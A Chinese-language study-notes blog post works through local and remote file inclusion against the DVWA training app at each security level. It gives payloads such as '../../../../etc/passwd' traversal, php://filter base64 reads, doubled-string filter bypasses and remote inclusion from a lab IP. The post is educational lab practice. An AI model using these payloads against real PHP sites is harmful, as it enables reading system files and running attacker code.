dvwa php.ini,DVWA-文件包含学习笔记

DVWA-文件包含学习笔记

一、文件包含与漏洞

文件包含:

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

三、目录遍历与文件包含的区别

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

四、文件包含特征

?page=a.php

?home=b.html

?file=content

检测方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

五、DVWA练习

1.修改php.ini配置文件开启文件包含功能

allow_url_include = on

58a1489c67ef08a2fe025a7d073fe525.png

将DVWA的级别设置为low

1.分析源码,可以看到没有对page参数做任何过滤

92ed6be828330e9046c179b269dd767d.png

本地文件包含

2.尝试利用文件包含

2.1绝对路径

76339b3a1f7283c311ec8b44d20d096f.png

文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

48e425a798167e5e5688e94b7a20732f.png

文件内容没有php代码,把文件内容打印(显示)到浏览器页面

bef7a532527fd1fb76e8eec2a88926c8.png

2.2相对路径

38d926a60d7c09a7ed23c25dd7b30fcc.png

3.使用php封装协议读取和写入php文件

3.1读取文件

php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 访问,可以看到显示了base64编码的内容

c15eb0351aaee7dcc7a387e8b8257ee6.png

使用burpsuit的decode模块解码

796a8b26afb85cae7ba0a18231c4a9b7.png

3.2写入php文件,下图可以看到输入的内容并返回结果

f9d8e27358f2604618d1d11b2407266e.png

远程文件包含

1.通过http协议包含本地服务器上的文件

667250ffc149f31883aa46eaafd1b56e.png

2.通过http协议包含远程服务器上的文件

d5ff96e5869836d16677e8ad73625cc5.png

将DVWA的级别设置为medium

1.分析源码,可以看到使用str_replace函数对http://、https://、../ 、..\进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过

288182d480a76333e2dbaf72b689f634.png

2.尝试绕过

先使用http://192.168.10.130/1.txt 抓包分析,可以看到对http://做了过滤

45e855aef3038f4a6a3bccf97d21d57c.png

使用双写绕过http://的过滤    htthttp://p://192.168.10.144/1.txt

4ce941a019bb54c888452ea78df783c0.png

使用..././..././..././..././..././..././..././ 绕过../的过滤

80262481f969620f4fcfab9d83f0aa32.png

使用绝对路径绕过

0a8771da16313c608a4f6fb2c69a6f23.png

使用file协议绕过

e1a713231de9d7cfd6abc757b2880596.png

将DVWA的级别设置为High

1.分析源码可以看到,如果$file变量中不含有file并且$file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过

42c857c0bd600de98281e9ec009e5186.png

2.使用file协议绕过

7f5c4db54a81b890a79b080e8e0a3fa2.png

将DVWA的级别设置为Impossible

1.分析源码可以看到,使用白名单,page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞

7232d9f463307bda6df83734bf8068e5.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值